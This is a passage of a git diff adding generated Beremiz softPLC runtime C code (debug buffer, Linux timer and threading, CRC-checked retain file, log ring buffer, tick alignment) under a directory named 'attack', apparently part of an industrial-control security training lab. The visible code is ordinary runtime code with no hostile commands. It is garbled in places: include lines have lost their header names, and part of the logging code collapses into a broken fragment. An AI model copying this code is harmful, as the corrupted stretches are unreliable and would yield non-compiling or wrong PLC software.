InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c 